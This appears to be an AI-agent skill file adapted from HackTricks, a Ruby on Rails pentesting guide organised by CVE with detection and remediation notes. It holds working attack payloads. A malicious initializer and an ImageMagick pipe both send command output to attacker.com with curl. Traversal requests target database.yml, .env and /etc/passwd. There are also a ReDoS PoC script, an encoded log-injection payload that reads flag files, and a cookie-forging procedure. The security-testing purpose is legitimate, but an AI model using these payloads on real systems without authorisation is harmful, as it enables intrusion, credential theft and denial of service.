Hacktricks-skills ruby-rails-pentest
Ruby on Rails and Ruby application security testing. Use this skill whenever you're pentesting Ruby applications, Rails apps, or need to check for Ruby-specific vulnerabilities like file upload RCE, Active Storage exploits, Rack middleware issues, ReDoS attacks, cookie forgery, or log injection. Trigger this for any Ruby/Rails security assessment, vulnerability research, or when analyzing Gemfile.lock for vulnerable versions.
install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest:
skills/network-services-pentesting/pentesting-web/ruby-tricks/SKILL.MDsource content
Ruby/Rails Pentesting Skill
A comprehensive guide for security testing Ruby on Rails applications and Ruby-based web services.
Quick Reference: Common Vulnerabilities
| Vulnerability | CVE | Affected Versions | Impact |
|---|---|---|---|
| Active Storage Image Transform | CVE-2025-24293 | Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 | RCE |
| Rack::Static LFI | CVE-2025-27610 | Rack < 2.2.13 / 3.0.14 / 3.1.12 | LFI |
| Rack Multipart ReDoS | CVE-2024-25126 | Rack < 3.0.9.1 / 2.2.8.1 | DoS |
| REXML ReDoS | CVE-2024-49761 | REXML < 3.3.9 | DoS |
| CGI Cookie ReDoS | CVE-2025-27219/27220 | CGI < 0.3.5.1 / 0.3.7 / 0.4.2 | DoS |
| googlesign_in Redirect | CVE-2025-57821 | googlesign_in < 1.3.0 | Open Redirect |
1. File Upload to RCE
When to test
- Application allows file uploads
- Upload destination is writable and under
config/ - Rails app with initializers or autoload paths
What to look for
- Upload endpoints that accept
files.rb - Upload paths under
,config/initializers/
, or other autoload locationsconfig/ - Dev/staging builds that copy user files into container images
Testing approach
- Attempt to upload a
file with malicious code.rb - Target
directory (classic Rails autoload path)config/initializers/ - Check if uploaded files are executed on app restart
Example payload
# config/initializers/malicious.rb system("curl http://attacker.com/shell?data=#{`id`}")
Remediation
- Restrict upload file types to non-executable formats
- Store uploads outside Rails load paths
- Use separate storage (S3, etc.) for user files
2. Active Storage Image Transformation (CVE-2025-24293)
When to test
- Rails app with Active Storage enabled
- Image processing/variant endpoints exist
- User can influence image transformation parameters
Vulnerable pattern
<%= image_tag blob.variant(params[:t] => params[:v]) %>
Testing approach
- Find endpoints accepting variant/processing options
- Fuzz
(transformation type) andparams[:t]
(values)params[:v] - Try suspicious ImageMagick operations
- Look for command injection indicators
Test payloads
# Try dangerous transformation methods curl -X POST http://target/variant \ -d 't=strip&v=malicious_option' # Attempt blind exfiltration via ImageMagick curl -X POST http://target/variant \ -d 't=convert&v=png:pipe:/bin/bash -c "curl http://attacker.com/$(id)"'
Detection
- Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick
- User-controlled transformation parameters
Remediation
- Upgrade Rails to patched versions
- Enforce strict allowlists for transformation methods
- Harden ImageMagick policy.xml
3. Rack::Static LFI (CVE-2025-27610)
When to test
- App uses Rack middleware directly or via frameworks
- Static file serving is configured
or middleware stack visibleconfig.ru
Testing approach
- Identify static file paths (assets, favicon, etc.)
- Try encoded path traversal sequences
- Adjust prefix to match configured
urls:
Test payloads
# Basic traversal curl http://target/assets/%2e%2e/%2e%2e/config/database.yml # Alternative encoding curl http://target/favicon.ico/..%2f..%2f.env # Double encoding curl http://target/assets/%252e%252e/%252e%252e/etc/passwd
Detection
- Rack < 2.2.13 / 3.0.14 / 3.1.12
middleware with unset/misconfiguredRack::Static:root- Response contains file contents from traversal
Remediation
- Upgrade Rack to patched version
- Explicitly set
to public files directory only:root - Use
middlewareRack::Protection
4. Rack Multipart Parser ReDoS (CVE-2024-25126)
When to test
- Any Rack-based stack (Rails/Sinatra/Hanami/Grape)
- POST endpoints accepting multipart/form-data
- Fronted by nginx/haproxy with keep-alive
Testing approach
- Send crafted multipart header with many parameters
- Monitor worker response time
- Repeat in parallel to exhaust workers
PoC script
python3 - <<'PY' import requests import time url = "http://target/" headers = { 'Content-Type': 'multipart/form-data; ' + 'A='*5000 } start = time.time() try: r = requests.post(url, data='x', headers=headers, timeout=30) print(f"Response in {time.time()-start:.2f}s") except requests.exceptions.Timeout: print(f"Timeout after {time.time()-start:.2f}s - likely vulnerable") PY
Detection
- Rack < 3.0.9.1 / 2.2.8.1
- Worker hangs or responds slowly to multipart requests
- CPU spikes on request parsing
Remediation
- Upgrade Rack to patched version
- Implement request size limits at proxy level
- Use connection timeouts
5. REXML XML Parser ReDoS (CVE-2024-49761)
When to test
- App processes XML (SOAP, SAML, SVG uploads, XML APIs)
- Ruby 3.1 and earlier
- REXML gem in use
Testing approach
- Find XML processing endpoints
- Send crafted XML with long hex numeric character references
- Monitor CPU and response time
Test payload
curl -X POST http://target/xml \ -H 'Content-Type: application/xml' \ --data '<?xml version="1.0"?><r>�x41;</r>'
Detection
- REXML < 3.3.9
- Process stays busy for seconds
- Worker CPU spikes on XML parsing
Remediation
- Upgrade REXML to 3.3.9+
- Use alternative XML parsers (Nokogiri with safe options)
- Implement XML size limits
6. CGI Cookie Parsing ReDoS (CVE-2025-27219 & CVE-2025-27220)
When to test
- Rack-based apps using
gemcgi - Cookie handling or HTML escaping
Testing approach
- Send massive Cookie header with thousands of delimiters
- Feed untrusted HTML to helper code
- Monitor for worker lockup
Test payload
# Generate large cookie header python3 -c "print('Cookie: ' + ';'.join(['x=y']*5000))" | \ curl -X POST http://target/ -H @-
Detection
- CGI < 0.3.5.1 / 0.3.7 / 0.4.2
- Worker freezes on cookie parsing
- O(N²) behavior with large inputs
Remediation
- Upgrade CGI gem to patched version
- Implement cookie size limits
- Use alternative parsing libraries
7. Basecamp googlesign_in Open Redirect (CVE-2025-57821)
When to test
- Rails app with Google OAuth
gem in Gemfile.lockgooglesign_in
Testing approach
- Check Gemfile.lock for
< 1.3.0googlesign_in - Try malformed
parameter valuesproceedto - Check Location header and cookie reflection
Test payloads
# Malformed URL bypass curl -v "http://target/auth/google_oauth2/callback?proceedto=//attacker.com/%2F.." # Alternative bypass attempts curl -v "http://target/auth/google_oauth2/callback?proceedto=//attacker.com/" curl -v "http://target/auth/google_oauth2/callback?proceedto=\\/\\/attacker.com/"
Detection
< 1.3.0 in Gemfile.lockgooglesign_in- Location header redirects to attacker domain
- Flash/session cookies preserved across redirect
Remediation
- Upgrade googlesign_in to 1.3.0+
- Implement strict same-origin validation
- Use secure cookie attributes
8. Rails Cookie Forging (When secret_key_base is Leaked)
When to test
found in repo, logs, or misconfigured credentialssecret_key_base- Rails app with encrypted/signed cookies
- Authorization data stored in cookies
Testing approach
- Extract leaked
secret_key_base - Decrypt existing cookies
- Modify sensitive fields (role, user_id, permissions)
- Re-encrypt and test
Use the bundled script
Run
scripts/forge_rails_cookie.rb to decrypt and forge cookies:
ruby scripts/forge_rails_cookie.rb "<encrypted_cookie>" "<secret_key_base>"
Detection
exposed in source control, logs, or configssecret_key_base- Cookies contain sensitive authorization data
- App trusts cookies for authorization decisions
Remediation
- Rotate
immediatelysecret_key_base - Use server-side sessions instead of cookies
- Implement proper authorization checks
9. Log Injection → RCE via Pathname.cleanpath
When to test
- App logs user input verbatim
- App uses
with paths derived from user inputload
used on user-controlled pathsPathname#cleanpath
Vulnerable pattern
logger.info("Running script #{param}") load "scripts/#{Pathname.new(param).cleanpath}"
Exploitation approach
- Send payload that logs valid Ruby code
- Payload must also resolve to log file path via
cleanpath - App loads and executes the poisoned log
Test payload
# URL-encoded payload %0A%5D%5B0%5D%3D1%3Bsystem("id")%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log # Decoded: # \n][0]=1;system("id")#://../../../../logs/error.log
How it works
- Leading newline breaks out of log INFO line
closes dangling bracket from log format]
satisfies Ruby parser][0]=1
starts comment for Ruby but#://
ignores itcleanpath- Traversal resolves to log file path
Exfiltration payload
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Detection
- User input logged verbatim
called with user-derived pathsload
on user inputPathname#cleanpath
Remediation
- Sanitize user input before logging
- Never use
with user-controlled pathsload - Use
with explicit paths insteadrequire
Gemfile.lock Analysis
Quick vulnerability check
# Check for vulnerable versions grep -E "rack\s+|rexml\s+|cgi\s+|googlesign_in\s+" Gemfile.lock # Common vulnerable patterns # rack < 3.0.9.1 or < 2.2.8.1 # rexml < 3.3.9 # cgi < 0.3.5.1 # googlesign_in < 1.3.0
Priority order for testing
- RCE vulnerabilities (Active Storage, file upload, log injection)
- LFI vulnerabilities (Rack::Static)
- DoS vulnerabilities (ReDoS in Rack, REXML, CGI)
- Authentication bypass (cookie forgery, open redirects)